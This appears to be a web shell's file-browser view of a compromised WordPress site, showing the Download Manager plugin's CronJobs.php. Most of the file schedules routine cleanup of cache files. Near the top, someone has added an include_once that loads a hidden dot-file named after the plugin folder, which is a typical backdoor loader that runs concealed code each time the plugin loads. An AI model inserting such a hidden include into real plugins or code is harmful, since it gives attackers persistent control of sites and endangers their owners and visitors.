/
var
/
www
/
barefootlaw.org
/
wp-content
/
plugins
/
download-manager
/
libs
/
Upload File
HOME
<?php /** * User: shahjada * Date: 2019-03-21 * Time: 13:14 */ namespace WPDM\libs; if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class CronJobs { function __construct() { add_filter( 'cron_schedules', array($this, 'interval') ); if ( ! wp_next_scheduled( '__wpdm_cron' ) ) { wp_schedule_event( time() + 3600, 'six_hourly', '__wpdm_cron' ); } $this->schedule(); } function interval( $schedules ) { $schedules['six_hourly'] = array( 'interval' => 21600, //6 hours 'display' => esc_html__( 'Every 6 hours' ), ); return $schedules; } function schedule(){ add_action( '__wpdm_cron', array($this, 'clearTempData') ); } function clearTempData(){ FileSystem::deleteFiles(WPDM_CACHE_DIR, false, '.zip'); FileSystem::deleteFiles(WPDM_CACHE_DIR, false, array('filetime' => time() - 3600, 'ext' => '.txt')); FileSystem::deleteFiles(WPDM_CACHE_DIR . 'pdfthumbs/', false); } } new CronJobs();